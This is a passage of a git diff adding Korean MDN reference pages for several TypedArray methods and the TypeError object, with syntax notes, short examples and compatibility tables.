+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>7.0</td>
+ <td>{{ CompatGeckoDesktop("2") }}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>5.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("2") }}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>4.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/reverse/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/reverse/index.html
new file mode 100644
index 0000000000..0d7ff7f5e2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/reverse/index.html
@@ -0,0 +1,69 @@
+---
+title: TypedArray.prototype.reverse()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/reverse
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Method
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reverse
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>reverse()</strong></code> 메서드는 제자리에서 형식화 배열을 뒤집습니다. 형식화 배열 첫 요소는 마지막이 되고 마지막은 첫 요소가 됩니다. 이 메서드는 {{jsxref("Array.prototype.reverse()")}}와 같은 알고리즘입니다. <em>TypedArray</em>는 여기 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-reverse.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.reverse();
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>뒤집힌 배열.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1, 2, 3]);
+uint8.reverse();
+
+console.log(uint8); // Uint8Array [3, 2, 1]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.reverse")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/set/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/set/index.html
new file mode 100644
index 0000000000..3ce518f8cc
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/set/index.html
@@ -0,0 +1,95 @@
+---
+title: TypedArray.prototype.set()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/set
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/set
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>set()</code></strong> 메서드는 지정된 배열로부터 입력 값을 읽어 형식화 배열 내에 여러 값을 저장합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-set.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarr</var>.set(<em>array</em>[, <em>offset</em>])
+typedarr.set(<em>typedarray</em>[, <em>offset</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>array</code></dt>
+ <dd>값을 복사할 배열. 소스 배열로부터 모든 값이 대상 배열로 복사됩니다, 소스 배열의 길이 + 오프셋이 대상 배열의 길이를 초과하지 않는 한, 그 경우에는 예외가 발생됩니다.</dd>
+ <dt><code>typedarray</code></dt>
+ <dd>소스 배열이 형식화 배열인 경우, 두 배열은 기본 {{jsxref("ArrayBuffer")}}를 같이 공유할 수 있습니다; 브라우저는 버퍼의 소스 범위를 대상(destination) 범위로 똑똑하게 <strong>복사</strong>합니다.</dd>
+ <dt><code>offset</code> {{optional_inline}}</dt>
+ <dd>소스 <code>array</code>에서 값을 쓰기 시작하는 대상 배열의 오프셋. 이 값이 생략된 경우, 0으로 간주됩니다 (즉, 소스 <code>array</code>는 인덱스 0에서 시작하는 대상 배열 내 값을 덮어씁니다).</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>offset</code>이 가령 형식화 배열의 끝을 넘어서 저장하려고 설정된 경우 발생.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="set()_사용하기"><code>set()</code> 사용하기</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+
+uint8.set([1,2,3], 3);
+
+console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Typed Array')}}</td>
+ <td>{{Spec2('Typed Array')}}</td>
+ <td>ECMAScript 6에 의해 대체됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.set")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/slice/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/slice/index.html
new file mode 100644
index 0000000000..adef23132b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/slice/index.html
@@ -0,0 +1,129 @@
+---
+title: TypedArray.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/slice
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Method
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/slice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>slice()</strong></code> 메서드는 형식화 배열의 일부를 얕게 복사(shallow copy)한 새로운 형식화 배열 객체를 반환합니다. 이 메서드는 {{jsxref("Array.prototype.slice()")}}와 같은 알고리즘입니다. <em>TypedArray</em>는 여기 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>typedarray</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre>
+
+<h2 id="매개변수">매개변수</h2>
+
+<dl>
+ <dt><code>begin</code> {{optional_inline}}</dt>
+ <dd>추출을 시작하는 인덱스(0부터 셈).</dd>
+ <dd>음수 인덱스일 때, <code>begin</code>은 열 끝으로부터 오프셋을 나타냅니다. <code>slice(-2)</code>는 열에서 마지막 두 요소를 추출합니다.</dd>
+ <dd><code>begin</code>이 생략된 경우, <code>slice</code>는 인덱스 <code>0</code>에서 시작합니다.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>추출을 끝내는 인덱스(0부터 셈). <code>slice</code>는 <code>end</code>(를 포함하지 않음)까지만 추출합니다.</dd>
+ <dd><code>slice(1,4)</code>는 2번째부터 4번째 요소까지 추출합니다 (인덱스가 1, 2 및 3인 요소).</dd>
+ <dd>음수 인덱스일 때, <code>end</code>는 열 끝으로부터 오프셋을 나타냅니다. <code>slice(2,-1)</code>은 열의 3번째부터 끝에서 2번째 요소까지 추출합니다.</dd>
+ <dd><code>end</code>가 생략된 경우, <code>slice</code>는 열의 끝까지 추출합니다 (<code>arr.length</code>).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>slice</code> 메서드는 바꾸지 않습니다. 원래 형식화 배열에서 얕게 복사된 요소를 반환합니다.</p>
+
+<p>새 요소가 어느 형식화 배열에든 추가된 경우, 다른 형식화 배열은 영향을 받지 않습니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="기존_형식화_배열의_일부를_반환">기존 형식화 배열의 일부를 반환</h3>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1,2,3]);
+uint8.slice(1); // Uint8Array [ 2, 3 ]
+uint8.slice(2); // Uint8Array [ 3 ]
+uint8.slice(-2); // Uint8Array [ 2, 3 ]
+uint8.slice(0,1); // Uint8Array [ 1 ]
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>45</td>
+ <td>{{CompatGeckoDesktop("38")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop("38")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/some/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/some/index.html
new file mode 100644
index 0000000000..94ce55b40a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/some/index.html
@@ -0,0 +1,106 @@
+---
+title: TypedArray.prototype.some()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/some
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/some
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>some()</strong></code> 메서드는 형식화 배열 내 일부 요소가 제공되는 함수에 의해 구현되는 테스트를 통과하는지 여부를 테스트합니다. 이 메서드는 {{jsxref("Array.prototype.some()")}}과 같은 알고리즘입니다. <em>TypedArray</em>는 여기 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-some.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.some(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소에 대해 테스트하는 함수, 다음 인수 셋을 취하는:
+ <dl>
+ <dt><code>currentValue</code></dt>
+ <dd>형식화 배열에서 현재 처리 중인 요소.</dd>
+ <dt><code>index</code></dt>
+ <dd>형식화 배열에서 현재 처리 중인 요소의 인덱스.</dd>
+ <dt><code>array</code></dt>
+ <dd><code>some</code>이 호출한 형식화 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>선택 사항. <code>callback</code>을 실행할 때 <code>this</code>로서 사용하는 값.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>some</code> 메서드는 <code>callback</code>이 true 값을 반환하는 요소를 찾을 때까지 형식화 배열에 있는 각 요소에 대해 한 번 <code>callback</code> 함수를 실행합니다. 그런 요소가 발견된 경우, <code>some</code>은 즉시 <code>true</code>를 반환합니다. 그렇지 않으면, <code>some</code>은 <code>false</code>를 반환합니다.</p>
+
+<p><code>callback</code>은 세 인수와 함께 호출됩니다: 요소값, 요소 인덱스 및 순회(traverse)되는 배열 객체.</p>
+
+<p><code>thisArg</code> 매개변수가 <code>some</code>에 제공되는 경우, 호출될 때 <code>callback</code>에 전달됩니다, 그 <code>this</code> 값으로 사용하기 위해. 그렇지 않으면, <code>undefined</code> 값이 그 <code>this</code> 값으로 사용하기 위해 전달됩니다. <code>callback</code>에 의해 결국 관찰할 수 있는 <code>this</code> 값은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">함수에 의해 보이는 <code>this</code>를 결정하는 평소 규칙</a>에 따라 결정됩니다.</p>
+
+<p><code>some</code>은 호출된 형식화 배열을 변화시키지(mutate) 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_형식화_배열_요소의_크기_테스트">모든 형식화 배열 요소의 크기 테스트</h3>
+
+<p>다음 예는 형식화 배열의 모든 요소가 10보다 더 큰지 테스트합니다.</p>
+
+<pre class="brush: js language-js">function isBiggerThan10(element, index, array) {
+ return element &gt; 10;
+}
+new Uint8Array([2, 5, 8, 1, 4]).some(isBiggerThan10); // false
+new Uint8Array([12, 5, 8, 1, 4]).some(isBiggerThan10); // true
+</pre>
+
+<h3 id="화살표_함수를_사용하여_형식화_배열_요소_테스트">화살표 함수를 사용하여 형식화 배열 요소 테스트</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a>는 같은 테스트에 대해 더 짧은 구문을 제공합니다.</p>
+
+<pre class="brush: js">new Uint8Array([2, 5, 8, 1, 4]).some(elem =&gt; elem &gt; 10); // false
+new Uint8Array([12, 5, 8, 1, 4]).some(elem =&gt; elem &gt; 10); // true</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.some")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/sort/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/sort/index.html
new file mode 100644
index 0000000000..ef94943b23
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/sort/index.html
@@ -0,0 +1,119 @@
+---
+title: TypedArray.prototype.sort()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/sort
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Method
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/sort
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>sort()</strong></code> 메서드는 <em>적소에</em> 형식화 배열의 요소를 정렬하여 그 형식화 배열을 반환합니다. 이 메서드는 {{jsxref("Array.prototype.sort()")}}<em>와 같은 알고리즘입니다.</em> <em>TypedArray</em>는 여기 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">형식화 배열 유형</a> 중 하나입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.sort([<var>compareFunction</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>compareFunction</code> {{optional_inline}}</dt>
+ <dd>정렬 순서를 정의하는 함수를 지정합니다.</dd>
+</dl>
+
+<h2 id="예">예</h2>
+
+<p>더 많은 예는, {{jsxref("Array.prototype.sort()")}} 메서드도 참조하세요.</p>
+
+<pre class="brush: js">var number = new Uint8Array([40, 1, 5, 200]);
+
+function compareNumbers(a, b) {
+ return a - b;
+}
+
+numbers.sort(compareNumbers);
+// Uint8Array [ 1, 5, 40, 200 ]
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(46)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(46)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/values/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/values/index.html
new file mode 100644
index 0000000000..863d3c3cbb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/values/index.html
@@ -0,0 +1,127 @@
+---
+title: TypedArray.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/values
+tags:
+ - ECMAScript6
+ - Iterator
+ - JavaScript
+ - Method
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/values
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>values()</code></strong> 메서드는 배열 내 각 인덱스에 대한 값을 포함하는 새로운 <code>Array Iterator</code> 객체를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.values()</code></pre>
+
+<h2 id="예">예</h2>
+
+<h3 id="for...of_루프를_사용한_반복"><code>for...of</code> 루프를 사용한 반복</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArray = arr.values();
+// 브라우저가 for..of 루프 및 for 루프에서
+// let 스코프인 변수를 지원해야 합니다
+for (let n of eArray) {
+ console.log(n);
+}
+</pre>
+
+<h3 id="대안_반복">대안 반복</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr.values();
+console.log(eArr.next().value); // 10
+console.log(eArr.next().value); // 20
+console.log(eArr.next().value); // 30
+console.log(eArr.next().value); // 40
+console.log(eArr.next().value); // 50
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{CompatGeckoDesktop(37)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{CompatGeckoMobile(37)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("TypedArray.prototype.entries()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.keys()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typeerror/index.html b/files/ko/web/javascript/reference/global_objects/typeerror/index.html
new file mode 100644
index 0000000000..2a95fc358d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typeerror/index.html
@@ -0,0 +1,123 @@
+---
+title: TypeError
+slug: Web/JavaScript/Reference/Global_Objects/TypeError
+tags:
+ - Error
+ - JavaScript
+ - Reference
+ - TypeError
+translation_of: Web/JavaScript/Reference/Global_Objects/TypeError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>TypeError</strong></code> 객체는 보통 값이 기대하던 자료형이 아니라서 연산을 할 수 없을 때 발생하는 오류입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>new TypeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사람이 읽을 수 있는 오류에 대한 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>오류가 발생한 코드를 포함한 파일 이름.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>오류가 발생한 코드의 줄 위치.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>함수나 연산자의 인자가, 그 함수나 연산자가 예상하던 타입과 호환되지 않을 때 <code>TypeError</code> 오류가 던져집니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("TypeError.prototype")}}</dt>
+ <dd><code>TypeError</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>전역 <code>TypeError</code>는 메서드는 자신만의 메서드를 갖지 않지만, 프로토타입 체인을 통해 몇몇 메서드를 상속합니다.</p>
+
+<h2 id="TypeError_인스턴스"><code>TypeError</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<div>
+<dl>
+ <dt><code>TypeError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성한 함수를 나타냅니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}</dt>
+ <dd>오류의 메시지.</dd>
+ <dt>{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}</dt>
+ <dd>오류 이름. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}</dt>
+ <dd>오류가 발생한 파일로의 경로. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}</dt>
+ <dd>오류가 발생한 곳의 줄 위치. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}</dt>
+ <dd>오류가 발생한 곳의 행 위치. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}</dt>
+ <dd>스택 추적. {{jsxref("Error")}}에서 상속합니다.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="TypeError_오류를_잡아내기"><code>TypeError</code> 오류를 잡아내기</h3>
+
+<pre class="brush: js">try {
+ null.f();
+} catch (e) {
+ console.log(e instanceof TypeError); // true
+ console.log(e.message); // "null has no properties"
+ console.log(e.name); // "TypeError"
+ console.log(e.fileName); // "Scratchpad/1"
+ console.log(e.lineNumber); // 2
+ console.log(e.columnNumber); // 2
